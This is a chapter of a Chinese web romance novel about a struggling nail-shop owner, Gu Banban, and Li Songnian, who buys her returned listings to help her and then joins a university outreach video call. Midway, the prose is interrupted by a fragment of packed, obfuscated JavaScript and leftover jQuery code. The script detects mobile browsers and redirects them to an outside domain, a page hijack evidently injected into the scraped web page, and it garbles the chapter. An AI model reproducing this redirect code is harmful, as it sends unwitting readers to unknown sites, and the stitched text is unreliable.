15. 欠人情

作品:《抱到你了,小刺猬

    这几天黎颂年的出现,带来了好多不属于她这个世界的东西,像是做了一场短暂的梦,盖住了那些真正的烦恼。


    而张婶这么一闹,又把她拉回了现实。


    桥塌了,断了路,也断了生计。


    谷半半这间美甲店虽然和隔壁早餐店不一样,平时大多在线上卖手工穿戴甲,不靠桥对岸的学校支撑。


    但这座桥是快递的必经之路。


    犄角旮旯的地方,不像大城市路线可以灵活调整,办事不够专业效率也不高。


    昨天负责这个片区的小哥发来消息,说正在协调从隔壁县中转,流程繁琐,工作量增大,人手不够正在招收,恢复运输保守计算要十天。


    十天。


    哪个买家愿意多等十天。


    她不想骗人,所以在收到消息的第一时间就在买家群里更新了通知,结果今早收到了第一单退款。


    虽然这一单的甲片不是根据模具定制的,损失没那么大。


    可是其他的呢?


    谷半半看着墙角越堆越多的打包盒,脸上写满担忧。


    还有这么多……


    李盼嗦嗦手上的红油,“哎呀,挣那仨瓜俩枣的,有什么用?还不如干脆趁这个时候歇几天。人呐,不能钻进钱眼儿里,你觉得我说得有道理没,哥?”


    消息来时,手机就摆在桌子上,大家都看见了。


    谷半半看了她半晌,一口气提着,最后又原封不动地叹了出去。


    算了,说不明白。


    她现在拼命赚的钱都是脚下能离开这里的路,少一分,她就要慢一步。


    可她一秒都不想多待。


    等到明年夏天结束,她就再也不会回到在这个地方了。


    再也不会。


    “好了,跑操结束,回去上课吧。”黎颂年没有附和,随手拿起一个小刷子,用刷柄戳了戳李盼的胳膊,“快去。”


    李盼翻了个大大的白眼,“这就嫌我碍事儿了?”


    “快去吧快去吧。”


    黎颂年又催了两句,李盼才终于不情不愿地离开。


    房间再次只剩下两个人,只是氛围完全不一样了。


    谷半半把头发挽起来,绕过黎颂年走到墙边,翻找退单的盒子,刚拿起一个,手机又连续响了两声。


    又有退单了。


    她听得脸色越来越沉,可她没得吐苦水,只能抓紧时间重新上架链接。


    黎颂年抿着唇在旁边看,思索一番,悄悄凑了过来。


    感受到身后笼罩的温热,谷半半动作顿了顿,抬眼瞥了他一下,那表情在说:没空搭理你,自己一边儿玩去。


    黎颂年耸耸肩,动作间看到了桌子上的牌子……


    门外不知哪棵树先摇晃起来,惊起一群遮阳的麻雀。


    谷半半编辑完信息上传,正准备回去收拾拆下来的包装,屏幕跃出好几条弹窗来。


    低头一看,竟然是自己刚刚上架的链接被秒拍下。


    她愣愣,点开后台自动生成的聊天框,怕耽误人家时间,再次主动说明发货时效问题,谁知发送键刚按下去,身后就传来两声震动,再看地址,是小店的位置。


    黎颂年买的。


    她转过头,目光严肃。


    他抿着唇,有点心虚。


    “咳,我说我真的需要,你,信么?”


    谷半半看着他,眉心蹙蹙再松开,最后又紧紧皱在一起。


    “……退掉。”


    “我不。”


    黎颂年把手机藏到身后,怕她上来抢似的,“我买给我小姨的,她下个月生日,我觉得这个礼物不错。”


    谷半半一言不发。


    “真的!”


    黎颂年想表现得坦然,但言语已经变得慌乱。


    “我刚刚看到你主页标注的尺码推荐,上面写一般适用s码,刚好你上的那几个链接就是s码,所以……我,我先问过我小姨了,她说她喜欢,我才……”


    “黎颂年。”


    谷半半打断他,表情比平时还要冷一些。


    黎颂年咽了口口水,心很慌。


    他打开微信,把聊天记录一个字一个字地指给她,“就在这儿!你看,我说……”


    他努力在证明自己,可是说得越多越笨拙,直到发现她根本没有看屏幕,而是一直盯着他的眼睛……


    他终于垂下挣扎的手,自嘲地笑了。


    “对不起。”


    谷半半唇瓣动动,看他这个样子,心里的滋味怪怪的。


    其实她知道他是在帮她。


    虽然不明白是出于什么原因,但是相处下来,她知道他是善意的。


    可她不需要这种善意。


    尤其是来自于一个在她的过去出现过,还半生不熟的人。


    “我不想和这里的人有任何的牵连。”


    “也,包括我?”


    谷半半的话被堵住,想回答一个“嗯”字,可声音却卡在嗓子里怎么也放不出来。


    而她静得越久,他的表情就越落寞,她就更说不出口了。


    “如果可以,我能不能争取一下,别包括我。”黎颂年挤出一个笑来,显得很卑微,“我应该不完全算是这里的人吧?”


    谷半半低下头,不知道该怎么回答。


    他确实不是。


    他从一开始就不是。


    甚至他们都不是同一个世界的人。


    气氛变得沉默,谁也没再说话,隔壁的吵架流程进行到砸东西那一步,桌椅铁盆撞着地面和墙壁,热闹中却不见瓷碗电器碎裂的声音。


    因为发泄要选择摔不坏的,毕竟生活还要过下去。


    黎颂年站在原地,看着女孩又开始忙碌,调整好情绪去帮忙。


    谷半半看到他过来,或许是出于愧疚,没有赶他。


    “就当我刚刚什么也没说,是我头脑一热,对不起。”他小心翼翼地说出后面的话,“但我小姨真的很喜欢,能不退么?”


    见她不回答,他又补充:“她已经发朋友圈炫耀了,如果退了,她会打我。可疼了。”


    谷半半莫名笑了一下。


    “算了……随你吧。”


    黎颂年松了口气,跟着笑起来,接过她手上要扔掉的东西,“谷老板人美心善。”


    谷半半白向他的殷勤,起身回到小桌,黎颂年跟在后面。


    “那天看到你桌上的书,高中的,你要参加高考?”


    谷半半身形一顿,看他一眼才拢拢裤腿坐下,“嗯。”


    “去开证明了么?”


    “没。”


    “那要尽快了,要报名会考了。”


    “……”


    “现在高中生分科和我们那时候不一样,你准备选什么?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904294|159158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谷半半停下手上的动作,“别没话找话”五个字写在脸上。


    黎颂年张开嘴要解释,手机突然响起来打断了这一切。


    是活动那边在催,腾讯会议已经开好了。


    他指尖在屏幕上顿了顿,最后叹了口气,按下确认键。


    算了,今天也没那么合适,以后再说吧。


    视频接通。


    “干什么去了!等你这么久,小安姐又要骂了。”


    是那个心大的学长。


    “有点事儿。”黎颂年没过多解释,转身找合适的地方,镜头扫到谷半半的时候,他用手挡了挡,“我随时OK。”


    “你只有五分钟,我记得你说准备了道具,在哪儿呢?”


    “我背包的隔层里。”


    视频那边人很多,传过来的声音很吵,黎颂年看了看一旁认真工作的谷半半,默默把音量调低。


    “找到了,这个怎么用?”


    “一会儿需要发给大家的时候,我会告诉你。”


    “行,诶,等一下,你就穿这个?”


    对面质疑了一声,黎颂年低头看看自己身上的老头衫,微微抬眉,“不可以么?”


    “这代表学校形象。”


    “考大学不划分三六九等。”


    谷半半听得手重了一下,笔上的毛压出一枚小小的花。


    “你最好跟小安姐也这么说。”


    “当然。”


    “……准备开始。”


    A大策划的这个活动不同于传统的支教,除了带队导师之外,他们选出了不同专业的七个优秀学生代表,不但要传授知识,还要传播新思想,让孩子们看到未来的多样。


    或者也可以理解为一场特殊的招生宣传。


    即便他们从不缺考生。


    “下面我们有请最后一位哥哥来给大家做自我介绍,这位哥哥今天没能来到我们的现场,但是会以线上的方式和我们见面,我们一起欢迎他,好不好?”


    手机里传来孩童稚嫩的欢呼声,腾讯会议投在白板上,黎颂年正了正身子,和正在下台的导师对上视线,被剜了一眼。


    他笑笑,朝镜头回回手,“大家好,我是A大投资学专业的大二在读生,我叫黎颂年……”


    ——“大家好,我叫,黎颂年。”


    熟悉的声音响起,谷半半眼神晃了晃,时间好像再次回到了高中开学那天。


    那是唯一清闲的晚自习,还没展现刻薄的班主任组织大家做自我介绍,男孩女孩们顶着尚存个性的发型,毫不吝啬地讲着自己来自哪个学校,梦想是什么。


    唯独有两个特殊。


    一个是她,一个是黎颂年。


    那时的她还没学会怎么掌控自己身上的“刺”。


    她握着粉笔,在角落写下自己的名字,在一众期待中,只说了一句“我叫谷半半”便回到了座位。


    班里顿时传出不和谐的声音,窸窸窣窣地指责她的“装”,没有人愿意接在她后面介绍自己。


    她本不在意,可偏偏这时,睡了一晚的黎颂年突然站起身,拿起她放下的粉笔,在她的名字旁边,写下了自己的。


    然后——


    “大家好,我叫,黎颂年。”


    他笑着丢掉粉笔走回座位回到座位,眉眼弯弯的,声音温柔得像是外面星空下的风。


    就和现在一样。